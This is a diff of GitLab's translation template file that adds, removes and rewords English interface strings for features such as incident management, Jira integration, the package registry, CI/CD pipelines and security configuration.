msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
